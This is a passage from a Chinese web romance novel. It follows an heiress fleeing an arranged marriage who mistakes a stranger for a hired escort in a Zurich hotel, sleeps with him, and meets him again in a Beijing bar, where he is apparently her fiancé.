《失落雪山》
1. Chapter1
九月的苏黎世,湿漉漉的,夏季残留的热意被一场雨冲散,圆月朦胧掩在层云后,城堡酒店通明的灯光氤氲开山光湖色。
“…如果不是我帮你瞒着,你哪有机会来瑞士参加研学,小慈,最多到月底,你必须回来相亲。”
“砰!”
伴随着电话挂断,古典杯被重重搁在了白晶大理石桌面,
剔透的威士忌酒液从杯中震荡出,顺着葱白纤细的指尖淌落。
手机屏幕闪回到了聊天界面,一张又一张是不同男人的照片,胖的瘦的,高的矮的,
长得五花八门,家世背景却统一的显赫。
毫不在意被沾湿的手指,穆慈恩懒恹地倚在绒布沙发上,香槟色的蕾丝睡袍顺着肩头滑落,露出了分明细腻的锁骨。
房内的琥珀熏香搅人,她眉骨紧蹙着,纤密的眼睫搭落,遮挡了眸中一晃而过的嫌意。
下飞机不到六个小时,研学之行还未开始,她统共接到了来自妈妈的三通电话,五十多条信息,只为了一件事——相亲。
手机震动,弹出了一条新的信息。
妈妈:【每天早晚跟我发一个定位,照顾你起居的生活管家明天到酒店。】
盯着这条信息,穆慈恩眸底冷意愈盛,没忍住笑出了声。
这生活管家,明里是照顾她的起居,暗里却是负责监督她,向穆家汇报她每天的行程。
这样的日子,年复一年,她过得都有些疲惫了。
不过比起在京城呆着,被爷爷强行安排学习金融管理,她宁愿在国外被生活管家盯着,起码能学习她喜欢的建筑设计。
见她没理,那边又追发了新的信息。
妈妈:【即使在国外,你也要举止合度,外面不知道有多少双眼睛盯着你爸爸,想拿捏他错处的人比比皆是,做任何事,你都要多为家里想想。】
妈妈:【记得,你只要出门在外,代表的都是穆家的形象。】
穆家的形象?
外界盛传,穆家是京城百年书香世家,以“清贵”二字立世,纵然权势煊赫,行事却低调内敛,穆家人更是各个光风霁月,风骨峭峻。
红唇勾起了抹嘲讽的弧度,穆慈恩乖巧回了三个字——“知道了”。
知道迂腐的穆家恨嫁,发现她商政两道皆一窍不通后,就迫不及待想挑一个优秀的女婿,提升家族门楣。
无力感蔓延向全身,
心累。
沉闷的摆钟发出“哒哒”的声响,四下静得心悸。
倦意上涌,穆慈恩随意拢了拢睡袍,撩起了身上的绸质薄毯,赤脚走到了桌边,将残余的威士忌一饮而尽。
手机又震了震。
“又怎么了?”她不耐地嘟囔了声。
这次,发信息的不是妈妈,而是她那在度蜜月中的闺蜜孟羡今。
小金蛋宝宝:【你家跟你安排相亲的事我听说了,知道你心情肯定不好。】
小金蛋宝宝:【跟你安排了惊喜,是你最喜欢的!算算时间也快到酒店了,预告一下!双色,勾人,超级大!!注意查收哦~】
嗯?
穆慈恩的眉眼一瞬舒展开了。
还是闺蜜最贴心!知道给在异国他乡的她送温暖。
就是这三个关键词太抽象了,让人摸不清头脑。
她的喜欢的?
无非是美酒,美食,还有…美人。
——
不知是不是威士忌后劲太烈,等惊喜的过程中,穆慈恩不小心睡着了。
暖黄的壁灯笼罩着沙发前的一隅,淡淡的酒香混着安神的熏香一块儿,化在了室内的空气中。
“咚!”
忽然,门口处传来了沉闷的敲击声
穆慈恩蓦地睁开眼睛,捏了捏发沉的眉心,视线寻着声音望向了门处。
有人敲门?
“咚!”
又是一声,证明刚才不是幻听。
是惊喜到了吗?
蹙眉起身,穆慈恩一边走向门口,一边默默吐槽这酒店服务生的粗鲁行为。
敲门跟砸门似的,要不是她知道酒店顶层实施vip管理制度,四处都配有巡逻保安,她大概率会认为对方是来找事的。
沉重的房门被打开,走廊的一缕光溜进了略显昏暗的房间。
“Ismygifthere?”
穆慈恩冷淡地掀起眼皮。
刹那,高大的阴影极具压迫感地罩下,雄性的荷尔蒙裹挟着温沉的乌木香味,一齐席卷了她所有的感官。
“啪”大脑里有一根弦断掉了。
在半明半昧的光影中,她仓惶一瞥,望见了一个陌生又俊美的男人,穿着衬衫,不是酒店服务的制服。
所隔咫尺,气息似有似无地勾缠在了一块儿。
眼睫轻颤间,她直勾勾对上了一双狭长内敛的桃花眸。
“砰!”心跳失秩。
是一双异色的眼瞳。
男人的左瞳是墨蓝色,似月光下的汪洋,深邃宁和但沉着翻涌的暗流;右瞳是深墨色,仿佛一口幽静的古井,无波无澜又深不可测。
两种截然不同的眸色,本应是突兀的,但在这骨相英挺,五官精致的脸上,莫名和谐,甚至形成了一种极具侵略性、冶艳到骨子里的美。
她忘记了挪开目光。
目不转睛对望着,背景成了虚影。
时间好像在这一刻静止了,鼻尖萦绕的乌木香气,也在不知不觉中变得愈发浓郁。
“呵。”一声玩味的轻笑落下。
男人单手撑着门框,再度微微俯身,幽静的目光似乎带着股无形的压迫感。
高大的阴影将人笼得更深,更浓。
本就咫尺的距离再度缩近,快鼻尖碰鼻尖。
“好看吗?”
低磁沙哑的嗓音又蛊又冷,沉沉擦过了敏感的耳廓,男人灼热的鼻息,也悉数呼洒在了穆慈恩饱满的唇珠上。
滚烫的,暧昧的,前所未有的。
瞬间,酥酥麻麻的电流从尾椎骨窜到了后颈。
好像下一秒,就要吻上彼此了。
大脑懵成了空白。
穆慈恩眸光闪了闪,心虚又怂包地垂落眼睫。
是挺好看的。
不对啊!
为什么一个高大帅气的男人会出现在她房间门口?
眼皮再掀起,她撞进了男人幽邃又带着侵略性的异色眸中。
一秒,
她把脑袋低下去了。
孟羡今发来的预告词,在脑中飞速掠过。
“双色?”
她轻言喃喃,视线不小心瞟到了男人修长挺拔的颈项。
脖间青筋若隐若现,随着呼吸,喉结会上下轻轻滚动,仿佛是在邀请人在上面留下齿印。
“勾人?”
她默默念叨着,从黑色衬衫最上解开的那颗扣子开始,目光再向下滑……
缓慢的,
一点又一点。
耳后根有如火在烧,浑身都发着烫。
“超级大”不会是……
眼神在触碰到金属质的皮带扣后,穆慈恩紧急闭了闭眼。
不会吧?
她的宝贝闺蜜婚后变得这么开放了?
送的惊喜是上门男模?!
思绪混乱中,眼前的阴影好似挪开了,
走廊明晃晃的灯光重新倾落。
有感应般,穆慈恩睁开了眼,看见男人缓慢直起了身子。
她不确定是不是自己的错觉,男人胸部起伏的弧度似乎变大了,
黑色的衬衫紧绷着,包裹下,结实的胸肌呼之欲出。
荷尔蒙刺激得她大脑一片浆糊。
惊喜是男模也不是不可能,
不然怎么解释,他这么巧的出现在她房间门口,还在看见她后知道说中文?
男人额间青筋跳动,薄唇动了动,缓慢吐出了一个音:“Ba…”
“你就是今今给我准备的惊喜吧?”
没等男人话说完,穆慈恩直接伸手拽住了他的衬衫领。
淡紫色镶着小水晶的指甲,刮蹭过了领口边分明的锁骨。
男人如同受到了刺激,低低喘/息着:“嗯?”
穆慈恩勾起红唇,盛满笑意的眼睛,眸光盈盈:“那让我先……”
视线交错,所有的画面都像被摁了慢放键。
“检查一下吧~”
男人喉结滑动,深眸中闪过了一丝错愕。
轻薄的睡袍被风撩动,他被人拽进了房间里。
——
“啪嗒”门合上了,漏进屋内的最后一丝廊光殆尽。
穆慈恩踮着脚尖,几乎没有犹豫地把男人壁咚到了门上。
纤白的脚背若有若无地蹭过了冰凉□□的男士皮鞋。
房间昏暗静谧,能听见厅内落地摆钟发出的一下又一下的“哒哒”声。
心跳不自觉和钟声同频,甚至更快。
眼睛未完全适应环境,四目相对时,模糊得只能瞧见彼此眼底,摇曳的身影。
男人被抵在门上却没有反抗,低垂的眸光晦涩难明,淡淡的气声更让人辨不清情绪,吐息灼人:“你想,怎么检查?”
呼洒的热气绕过了鬓发,刮蹭着脸颊痒痒的,穆慈恩的眸底闪过了一丝窘迫和不安。
被酒精放大的欲望就像吹出的泡泡,大而脆弱,轻轻一戳就能消失不见。
后悔得很忽然。
俗话说:“食色,性也。”
她一点也不否认自己好色爱看帅哥的天性,但是穆家家规偏有一条:男女非有行媒,不相知名,非受币,不交不亲。然亲者可亲,长辈受命者可亲。
开放的21世纪,她却要守着这“贞节牌坊“样的破家规,初中高中被家里安排去读女校,大学前身边除了亲戚发小,就没出现过其他异性。
她不确定自己是不是被压抑狠了,导致成年后反叛意识疯长,偷偷摸摸就爱去看一些帅哥表演,偶尔找发小们做掩护,找俊美的男模来喝酒陪玩。
她也不确定是不是这家规被罚抄多了,骨子里洁癖作祟,对着那些帅哥她从来点到为止,守着分寸,绝不乱来。
总之,单独和异性在封闭空间相处,是她第一次;把男人按在门上,在咫尺的距离里大放厥词,是她第
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一次;身体深深处传来说不清道不明的渴望,也是第一次。
这行为是有些解压,但怂也是真的怂。
手指攥着的男士衬衫领烫得恼人,穆慈恩下意识想要松开。
手指刚缷了力,就被一只宽厚干燥的大掌强势包裹住了。
分神的间隙里,腰也被人紧紧搂住了。
男人的掌心一只贴合着她的手背,一只按着她的后腰,炽热的温度焚得她大脑一片空白。
暧昧的房间中,暗流涌动,雄性气息寸寸逼近,让人逃无可逃。
“你很熟练,是经常被安排这样的惊喜吗?”
男人哑声问她,略平的声线不知是喜是怒。
女人柔顺的发丝,在看不见的地方,和男人肌理分明的小臂摩擦着。
“我…”穆慈恩眼睫轻轻颤了两下。
周遭的气温正不断向上攀升,她敏感得觉察到了零星冷意。
一个男模问这样的问题,到底是什么意思?
借着昏暗的环境,她强装着镇定,轻挑眉尖:“你这是,不太清楚自己的业务定义?”
“把你安排来的人,是怎么跟你说的?”
话音落,时间如同被按下了定格键,分分秒秒过去都没有收到回音。
两具温热的身体随着呼吸起伏,不时摩擦到了一块儿,衣料和衣料摩挲,发出了窸窸窣窣的声响。
丝质的睡裙轻盈贴身,男人冰冷的皮带扣恰好硌在了小腹处,硬得人有些不舒服。
闷着一声低笑,未知的危险降临,心跳也漏了半拍。
“她怎么说的不重要,重要的是…”停顿了一拍,男人眸色愈深,把穆慈恩完全搂进了自己怀中,和她紧密贴到一块儿,同她错过唇,“你想怎么做?”
磁性的嗓音像魅魔的低语,乌木香气蛊惑着人心,那双异色的深眸,危险又迷人。
穆慈恩被盯得身体发软。
她觉得自己身为高级客户,被男模撩得害怕想逃跑是一件很丢人的事情。
孟羡今到底在哪里找到的男模啊?!
睡袍又一次从肩膀上滑落,柔软地搭在了男人放在她后腰的手臂上。
思绪拧成了一股绳。
男人的眼神如若有形,晦涩的视线不断侵略地在她的肩颈处游移。
穆慈恩清楚,自己现在最保险的做法是,从男人怀里挣脱开,打开灯,让眼前这位极品男模唱歌跳舞表演才艺,满足她观赏的心情,然后再体贴给男模一点小费,告诉他可以走了,最后发表一通对她闺蜜用心良苦的感谢言论。
但……
“嗯?”男人薄唇动了动。
穆慈恩眉心轻拧,小声:“我……”
“嗡嗡嗡”手机的震动声打断了她。
绷紧的神经松懈了,疲惫如潮水袭来。
今天听了太多这样的声音,她快形成了条件反射。
是妈妈的吗?又和她相亲有关吗?
她一想到要遵循家里安排,结婚生子,过一辈子死板压抑的生活,血液就热切的沸腾。
她一直知道,自己每一次的反叛,其实都在盯梢的范围内,妈妈在帮她做掩护的同时,也是在管控和拿捏她。
她要被迫收敛着一举一动,被迫循规蹈矩的过日子,做所有人眼中端庄娴静的穆小姐,
反叛之心,从来都有。
在这异国他乡,在逃离盯梢的夜晚,她好像找到了一个缺口。
她想挣脱,她想放纵,
穆家大小姐的身份要背一辈子,穆家人的荣辱也要背一辈子,
凭什么,非得在现在?
眼尾向上挑起,穆慈恩抬眸望向男人的眼睛,
望着那双迷人又沾染着欲色的眸子。
手缓慢地勾住了他的脖颈,手指心猿意马地按上了他性感的喉结。
感受着,它的凸起和滑动。
穆慈恩轻声问:“我有洁癖,你……”
她止住了话。
要一个男模经验为0,是不是天方夜谭了?
孟羡今是了解她的,大概不会想到现在的局面,和这个问题。
按压在喉结上的指腹重了几分。
男人溢出了一声低喘,禁锢在穆慈恩腰上的手也紧了紧,带着要将人揉进自己身体的力道。
气息紊乱着,他回答她:“我也有。”
穆慈恩怔住了,“扑哧”笑出了声:“我还是第一次听说,做这行的有洁癖?”
男人侧过脸,唇若即若离靠在她唇瓣,低磁的声音让人不寒而栗:“你对这行,很了解。”
泠泠的字句滚过心尖,眼睫跟着颤了颤。
穆慈恩嘴硬:“我当然了解,你敢骗我,我会投诉……”
猝不及防,她被人抱着向上提了提,结实的胳膊揽在腰间,脚尖勉强才能踩到男人冰冷的皮鞋。
眸光怔忪,她170的个子,在高大的男人面前,依旧显得娇小。
“需要我做什么?”男人似笑非笑问。
酒香浮动,乌木香和茉莉香肆意相缠,互相侵/犯。
“要你…”扭捏了几秒,穆慈恩红唇弯起,“吻我。”
2. Chapter2
下一秒,天旋地转,穆慈恩被男人反压在了门上。
心跳声声,她如同砧板上的肉,被夹在了男人和墙之间。
主动权交换。
男人以不容置喙的姿态紧紧扣着她的后颈,用唇封住了她未来得及出口的惊呼声。
窗外又下了一场小雨,淅淅沥沥,在平静的湖面上,扩开了一点又一点的细小涟漪。
穆慈恩睫毛胡乱地眨动着,烟花一簇簇在脑中炸开。
和表现出来的强势动作不同,男人的吻很温柔,
他小心翼翼轻啄着,笨拙地用舌尖试探。
清冽的乌木香气,缠绕住了四肢百骸,她眼前被蒙上了一层柔软的雾。
亲吻发出的暧昧水声,在空气中荡漾开。
穆慈恩刚才作乱的手被男人钳制住了,被迫承接着他施在她手心的压力。
唇齿交缠间,男人从喉间发出的几声压抑的低/吟。
性感的,撩人的,
身体腾起的电流四处乱窜着。
慢慢,穆慈恩闭上了眼睛。
窗外的雨,好像下到了她的身上,潮湿得不像话。
昏暗灯光下,男人肌肉鼓张,手背上的青筋已经全部暴起了,隐忍到了极致,身体的温度也烫得不像话,
他克制着欲望,吻仍旧细密温吞,唯有高大的影子,肆无忌惮的将身前人圈禁。
穆慈恩有些享受这个轻柔绵密的吻,
酒的后劲再次上涌,她舒服得想睡觉了。
浅尝辄止。
男人稍稍退开了些,原本扣住穆慈恩后颈的手,顺着脖颈的曲线向上抚着,缓慢地摁住了她的唇。
感受着指尖丰盈水润,他眸色深了几分,重重揉捏摩擦,
破坏欲,放肆着。
口红花掉了,指上触目惊心一点红。
睁开迷蒙的眼睛,穆慈恩压声轻笑:“你有洁癖,我信。”
男人摁在她唇上的力气又重了几分。
她笑眼弯弯,一双眸子水光潋滟如清泉,微微昂起下颌,吐息着:“吻技差了点。”
男人盯着她半晌,轻“呵”了声。
来不及去辨认语气背后的含义,她的下颌就被人狠狠擒住了,被迫仰着脑袋。
眼睫抖动的那一刹那,吻又落了下来,
比刚才重,也比刚才狠。
男人以不容拒绝的气势闯入了她的口腔,一次又一次的索取和掠夺,吞噬了她的呼吸。
克制的欲望放纵着,昏色光线,所有见不得人的渴求都在疯涨。
窗外的雨也在这一刻落大了,噼里啪啦,恍惚中能听见雨点砸窗的声音。
更热了,也更晕了。
许久未有换气,穆慈恩感到缺氧。
可她只能迎合。
在腿软得快撑不住时,她被男人轻轻托起了。
睡袍轻飘飘地落在了客厅,在卧室门关上的那一刻,男士衬衫也被粗暴地扔了出来……
——
翌日雨停,湛蓝的天空明净如洗,太阳光线透过山光湖色,照进了一片狼藉的室内。
穆慈恩睁眼,眨了两下眼睛,又默默把眼睛闭上了。
浑身酸疼,胳膊压根就提不上力气,一点动弹的想法也没有,只想躺平。
隐约间浴室里有水声传来,大概男人是去洗漱了。
昨晚的回忆如潮水般席来,套房的每个角落都停有他们的身影……
脸红心跳的同时,穆慈恩的拳头不受控制的硬了。
这个男模,确实是非常非常非常值得挂成头牌,和预告词里的形容一样。
但是……
作为服务行业,
又不哄,也不停,
存心想让她给差评。
不过知道帮忙清理这点,还是值得表扬的。
手在枕头下胡乱摸了摸,半天也没找着手机。
愣了几秒,穆慈恩猛然从床上坐起来了。
完蛋了!
几点了?
妈妈要的定位没有发,生活管家可能到酒店了,十点前她还要去学校报道!
桩桩件件都在说明着,一夜纵情的糟糕下场。
急匆匆的,穆慈恩下床去收拾自己,一边找鞋,一边找衣服,在冲进客浴前,顺便捞起了自己掉在地上,被折腾着没电的手机。
二十分钟后,她穿着墨绿色的新中式长裙,化着温婉的淡妆,站在了卧室门口。
浴室的水声已经停了,门依旧没有开。
她不确定是不是男模职业修养使然,都需要精致护理自己,所以这么磨蹭。
可她没有再多等待时间了。
思虑片刻,穆慈恩找到便签纸,认真留了一行小字,并用威士忌酒瓶把便签纸和1000法郎纸币压在了床头柜。
撩了撩头发,她再次对着镜子检查了自己的仪容,而后拉着行李箱潇洒地离开了。
套房门关上的瞬间,浴室门终于打开了。
男人穿着笔挺的黑色暗纹西装,脖间一丝不苟地系着桑蚕真丝白领带,修长的裤腿衬托着他挺拔的身形,腕间的百达翡丽表若隐若现。
和昨晚的慵懒蛊惑不同,此刻他矜贵优雅,庄重的神色里带着丝不易察觉的紧张。
同时,他的瞳色重新变成了黑色,隐约能瞧见,脖颈处的粉红抓痕。
在发现房间空了,床头柜处多了一瓶酒之后,他拢起眉心,快步走上前。
便签纸上是飘逸清丽的行书,笔锋铿锵,墨迹未干。
“虽然你表现勉强,但我这人大方,不会克扣你小费,套房留到中午,酒都付了费,喜欢可畅饮,有缘再见~”
好一个有缘再见。
男人嘴角动了动,目光冷淡地瞥了一眼薄薄的纸币。
1000法郎,倒是大方。
门铃声响,男人收好了便签和纸币,阔步去开门。
“Byron,早餐准备好了,按照你的吩咐,是两人食。”
目光在助理提着的食袋上沉了几秒,男人离开了套房,头也不回,嗓音淡淡:“返房。”
——
半个月后,京城。
高级会员制酒吧内,混着爵士鼓点的旋律富有动感的满开,蓝紫色霓虹灯变幻不停。
吧台后的女人,穿着一袭温柔的淡紫色蕾丝裙,乌色的长发被珍珠流苏簪挽起,手中正拿着调酒器摇晃。
迷离暧昧的灯光晃过她婉丽的眉眼,大大小小的光斑交织落在她身上,随着她行云流水的调酒动作,珍珠流苏簌簌碰撞。
“砰!”她放下了调酒器,利落拿过了水晶杯,在鼎沸喝彩声中,成功调制了一杯清澄的Martini。
随手,她把这杯Martini放到了吧台,对着围观人群wink眨眼:“请你们了~”
话落,她也懒得去看最后是谁得到了这杯鸡尾酒,头也不回地走到了自己卡座。
“帅啊穆小慈,上调古琴,下调鸡尾酒,今天的动作够花哨,看得出来,你的心情真的很差。”
面对发小赵闻渊的调侃,穆慈恩漫不经心“嗯”了声,神情恹恹。
她确实心情不好就爱调酒,心情越糟糕,选的酒就越难调,动作也越花哨。
“郑家其实不错的,港城四大家族之一,传承百年的名门望族,你那未婚夫郑烨生,郑家新任话事人,比你大七岁,中瑞混血,身高192,无花边新闻,远近闻名的谦谦君子,工作狂,不过关于他的身世……”
后面的话没说完,赵闻渊的嘴里就被人粗暴地塞进了一大片西瓜。
穆慈恩眯了眯眸子,嫌弃地拿纸巾擦了擦沾着果汁的手指,没好气冷哼了声。
“我们阿慈来这儿,是听你说这些的吗?会不见讲话呀!”孟羡今挽住了穆慈恩的胳膊,凶巴巴瞪了一眼赵闻渊。
立马,她又换了副表情,把脑袋靠在了穆慈恩的肩膀上,轻拧眉心:“不过,这婚事定得确实太匆忙了,伯父伯母根本就不尊重你的意见!最起码也该过问一声吧?”
“我的意见什么时候重要过?”穆慈恩自嘲地勾了勾唇,随意抿了口桌上清冽刺激的莫吉托。
“我早知道了,在结婚这件事上,我没有选择和拒绝的权利。”她眸光变得黯淡,声音也轻了,“他们答应了我,只要我乖乖结婚,就不会再逼我去学商或者从政。”
“到时候,我可以正经去学建筑设计,挺好的。”
穆慈恩说着,手不受控制地捏紧了杯脚,指尖泛了白。
“我只是,有些不甘心。”
孟羡今和赵闻渊面面相觑,都不约而同想到了穆慈恩高考那年发生的事,脸上的神情凝重了不少。
话题走向现实,气氛沉闷,和一旁的喧嚣格格不入。
看着搭落眼睫不知在想什么的穆慈恩,孟羡今关切地咬了咬唇,缓慢探问:“阿慈,我是说如果,如果没办法改变郑穆两家联姻,你……”
她眉心松了又拧起,轻叹了声气:“我听说这个郑烨生帅得不输明星,他和阿忱哥有合作,阿忱哥对他评价……”
“打住!”穆慈恩耸动肩膀,拒绝地干脆。
“诶…”孟羡今脑袋随着她肩膀动作起伏,被迫放正,“为什…”
“我对郑烨生不感兴趣,对郑家不感兴趣,对这桩被人摆布的婚事更不感兴趣!”穆
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慈恩快速把话吐干净后,把脸偏上了一边,声线里也染着委屈。
只要提到这场婚事,她就觉得烦躁,讨厌!到现在为止,她连照片也懒得瞧上一眼。
在研学之行的途中,她很努力说服自己接受相亲,甚至硬着头皮看完了那五十多条消息,做好了面对那些相亲对象的心理准备。
结果呢?
在研学之行结束的前一天,她收到了新的电话。
相亲行动取消了,她的婚事已经定下来了,还是相亲名单之外的港城郑家?!
港城,离京城直线距离约1900公里,这个和她订婚的郑烨生,她更是见所未见。
同意婚事,是因为郑家上九位数的聘礼,还是郑家的地位能让穆家拉到更多的支持,还是……
爸爸语重心长的嘱托在耳畔响起:“阿慈啊,虽然穆家和郑家综合地位相当,但论及影响力,尤其在商界,郑家还是要高我们一筹的。”
到头来,她不乐意这桩婚事,还要背一个高攀名头?!
简直越想越气!
动感的节拍和音浪刺激得太阳穴突突跳,舞池处蹦跳的人群,不时传来兴奋的欢呼声。
聒噪的声响让人心烦意乱,穆慈恩郁闷地将杯中酒一饮而尽。
“对郑烨生不感兴趣,那你对什么感兴趣?”孟羡今抿着抹笑,用肩膀撞了一下穆慈恩,眨眼打趣,“苏黎世走错房间的异瞳大帅哥,你第一任crush?”
乐队奏到了休止符。
瞬间,一抹粉红悄然爬上了穆慈恩的耳根,心跳怦然,那双妖冶的异色眸浮现在了脑中。
她扭头盯向孟羡今,娇嗔瞪了她一眼:“胡说…八道!”
穆慈恩也是在离开房间后才知道,跟自己荒唐一晚的男人压根不是惊喜男模,
孟羡今给她准备的礼物,是12寸的蓝莓抹茶冰激凌蛋糕。
谁能想到,送蛋糕的人在路上遇到急雨,在酒店门口摔倒弄坏了蛋糕;手机没电掉到地上,她正好忽略了孟羡今最后发来的信息;会说中文的混血帅哥莫名其妙停留在她房间门口,还刚刚好满足了三个预告词……
细细回忆,她也分不清那天晚上,是谁引/诱了谁。
“什么异瞳大帅哥?什么走错房间?你们又不带我玩是吧?”赵闻渊不乐意地撇了撇嘴角。
“准确来说,是我们阿慈在异国他乡,阴差阳错有了一场艳遇,然后她……”孟羡今后面的话没有说完,嘴就被穆慈恩捂住了。
“女生的事,少打听,反正我和他以后也见不着了。”穆慈恩羞耻地颤了颤眼睫,慢慢放下手,咳了两声,“时间不早了,谢谢你们陪我出来,今天账都记在我名下。”
孟羡今:“我……”
“霍老大给你定的门禁时间是十点吧?他这个人就爱告状,而且拖着你太久,我怕你明天起不来床。”穆慈恩很含蓄地眨了眨眼,“走吧~”
孟羡今语塞几秒,妥协了:“行。”
“你们一个两个,都有秘密瞒着我,我是哪里有需要就往哪里搬的工具人吗?”赵闻渊仍旧不满地嘀嘀咕咕。
红唇勾起,穆慈恩挑眉:“我在这儿存了一瓶波摩1957,送你了。”
瞬间,赵闻渊没出息地露出了笑脸,从卡座起身:“好的,慈姐!”
穆慈恩无奈轻笑,眼神随意瞥了眼旁边。
刹那,在人群的缝隙中,她望见了一道熟悉的身影。
脚步顿住了,她怔在原地。
灯球的一束光恰好晃过,明亮了眼前。
隔着三两人群,她和坐在吧台处的男人对视了。
清冽幽静的目光,一瞬间将她带回了那晚雨夜的苏黎世。
灯光明明灭灭,山光湖色皆被晕成了遥远的水墨画。
穆慈恩大脑一片空白,唇动了动,下意识对着孟羡今和赵闻渊道:“你们先走,我…有点事儿。”
——
“Byron,若果郑太知道你来这里,会激气。”吴家言拿着手里的酒喝也不是,不喝也不是。
他作为总秘书,仍苦口婆心劝着自己的老板,没办法,谁让他是个可怜的打工人呢?
吧台边,男人懒洋洋坐在高脚凳上,长腿交叠着曲起,深色衬衫服帖,皮质袖箍扣在他手臂上,流畅的肌肉线条若隐若现。
“你唔同她讲,咪得咯?”Byron随意放下了手中的三角杯。
“Byron啊…”
吴家言后面的话还没说完,就被一道宛转的女声打断了。
“我调的Martini,好喝吗?”
高跟鞋踩在光滑的地面,停在了Byron的身边。
3. Chapter3
穆慈恩不紧不慢地走上前,坐到了Byron旁边的位置。
霓彩灯下,挽起的一缕发丝从耳后滑落。
吴家言警惕地盯着她:“这位小姐,你……”
他话未说完便生硬地止住了,因为他的老板正用胳膊压制着他的手,冷冷睨他。
吴家言:“……”
老板的行为太诡异了,他们这趟来京城可是商量婚事的,来酒吧这种地方,高价买了杯鸡尾酒,还纵容别的女人接近,也太反常了,除非……
忽然,他悟出了什么,识趣闭上了嘴。
Byron望向穆慈恩,眉峰上挑,态度不咸不淡:“味道不错。”
他的目光在她身上顿了几秒后,又移开了,一副对聊天兴致不大的模样。
气氛变得僵硬,吧台的射灯切来,在桌面划分了一左一右鲜明的界限。
穆慈恩微抿红唇,手指局促地捏着裙纱,眸中划过了一丝懊恼。
她怎么头脑一热就上前了呢?
可是他喝了她调的Martini,
他…应该知道调酒的是她吧?
“其实那天早上…我忙着去学校集合,在卧室等了你一会儿,但是你没有出来。”她局促地做着解释,珍珠流苏不安地晃动着,“研学第一天迟到,肯定不太好,我就跟你留了字条,先走了。”
已知眼前男人不是男模,那她早上招呼不打,留钱跑路的行为,多么的“提上裤子不认人”啊!!!
纠结了几秒,她还是选择解释误会。
男人闻声眯了眯眸子,正眼看向了她,修长的手指轻叩桌面,随着音乐节拍。
良久,他从喉间溢出了一声低笑:“我记得,你留下的,不仅是字条吧?”
酒润过后,慵懒的嗓音里带着揶揄。
灯影绚烂晃过,穆慈恩眉心轻拢起,笑容尴尬地僵在了脸上。
是,还有一张纸币,
她慷慨的小费象征。
咬了咬唇,她佯装镇静地大方回应:“这其中有些小误会,我是因为……”
“因为什么?”
话接得很快,男人直勾勾盯着她的眼睛,闪耀的灯光映进了他的眸底。
乌木香随音浪节拍向人逼近,带着无形的压迫感。
她清晰看见,男人的双瞳都是黑色。
可是那天晚上,他的左眼是墨蓝色,深海一样妖冶漂亮的颜色。
大脑短暂的卡壳了。
“因为…当时发生了一系列巧合,我把蛋糕认成了你……”穆慈恩机械地回应,有点结巴。
Byron看着穆慈恩,薄唇浅浅上翘,从喉间溢出了一声闷笑,未直说信或不信,只是随意瞥了一眼腕表。
话句过脑子,穆慈恩难以置信这前言不搭后语的话是她刚说的。
丢脸到现在就想起身遁走。
早知道不来了……
“十点,时间有些晚了,你是一个人吗?”
话题跳转太快,穆慈恩愣愣抬眸,不明所以“嗯”了一声。
“女士独身怕不安全,如果你不介意,我等会儿可以送你回家。”
射灯下,男人温和地盯着她,细密的睫毛在眼底投下了一小片扇形阴翳,衬得眸色深邃迷人。
周遭所有热闹,在这一刻都仿佛被套上了一层膜,和她隔得远远的,酒吧斑斓的光影也褪色模糊,只有眼前,才是真实。
他到底是什么意思?
是真的绅士礼仪要送她,还是有别的意思?
穆慈恩的眼底滑过了一丝挣扎。
苏黎世那晚,他们男欢女爱,你情我愿,两个人还是很契合的,她现在再次靠近,是有一点说不清,道不明的见色起意成分在。
可这里是京城,而她是随时都被穆家紧盯的穆家大小姐。
除了请一杯酒聊聊天,还能……
刺绣提包里传来了手机震动的声音。
电话联系人——管家。
穆慈恩缓了口气,对着男人弯了弯唇角:“抱歉,接个电话。”
Byron眉尖挑起,微微颔首。
电话接通,管家礼貌得用堪比机器人的语调道:“小姐,时间不早该回去了,车快到门口了,夫人吩咐,婚前最好不要在外逗留太久。”
眸光深了几分,穆慈恩的指甲隔着裙纱几乎掐进了大腿肉里。
重金属音乐忽远忽近,唱着撕心裂肺的爱情。
好像全世界都在提醒她,她是一个牺牲了爱情,快结婚的人。
反叛的火在骨子里烧得越来越旺。
顶上的灯球转动。
上撩眼帘,穆慈恩一寸一寸看向优雅品尝着Martini的男人。
喉结侧边的线条上下滑动,蓝紫灯光描边,衬衫扣得一丝不苟,禁欲中带着蛊惑。
她打算叛逆地对穆家撒一个谎。
“不用了,赵闻渊送我,我今晚回丽心。抱歉,脑袋有些晕,忘记跟你们说一声了。”
“丽心,不算外面吧?”
她语调轻缓,商量的语气却带着难以察觉的强硬。
丽心是她在京城的独立住处,也是穆家对强改她高考志愿这件事的补偿。
管家沉默了一会儿:“好的小姐,我会和夫人说明,您注意安全。”
穆慈恩:“嗯。”
电话挂断,她把手机重新放到提包,指尖无意蹭过了包上坚硬的金属扣,硌得指腹发疼。
眼神重新落到男人身上,她红唇上勾,眸光水润:“麻烦你了。”
Byron似笑非笑睨着她,指腹缓慢摩挲着三角玻璃杯脚,尾调微微上勾:“你不怕,我是别有用心的骗子吗?”
他漫不经心地向前倾了倾身,投掷到桌面上斜长的影子,罩住了穆慈恩。
睫毛颤了颤,穆慈恩轻笑:“能进这间酒吧二楼的人,都是通过了背调的Vip会员,你手上的腕表是限量款,身边跟着的这位…”
她的目光短暂落在了吴家言身上,吓得吴家言眼神四处乱瞟。
“一直在看你眼色,不像朋友像下级,如果你是骗子,那你,图我什么呢?”
四目相视,周遭轻快的爵士乐仿佛慢了半拍,灯光变幻迷离,视线碰撞中,乌木香和茉莉香馋缠成一团,暗流涌动。
名和利,他怕是不缺,最多图色,
可那也不是巧了吗?
她图的,也是他的色。
Byron握着酒杯的手指顿了顿,
酒液在杯壁上荡出了细碎的小涟漪,薄荷叶也跟着震颤。
他把最后一点Martini饮完,嘴角的笑意深了几分:“走吧,送你回去。”
——
月影婆娑,梧桐的枝叶在月光下舒展,影影绰绰的枝桠掩住了丽心十五栋。
刚进门,细密的吻便铺天盖地落了下来。
穆慈恩踮着脚,脸颊染着绯色,手指牢牢拽住了男人的衣领,仰头同他亲吻。
裙摆柔软扫过了男人熨帖齐整的西裤,带着淡淡的茉莉香。
十分钟前,黑色的卡宴进了别墅大门,停在了前院。
她以为在路上,男人会和她聊天,询问一些关于她的事。
事实上,他除了礼貌问她地址后,就没有再说过话。
在离开酒吧,离开喧嚣暧昧的环境后,他站在夜色中,气质沉雅不可攀,一声未吭,斜长在路面的影,总带着无声的压迫感。
而吧台前,那个游刃有余同她交谈的人,好像不是眼前人。
他不问也好,
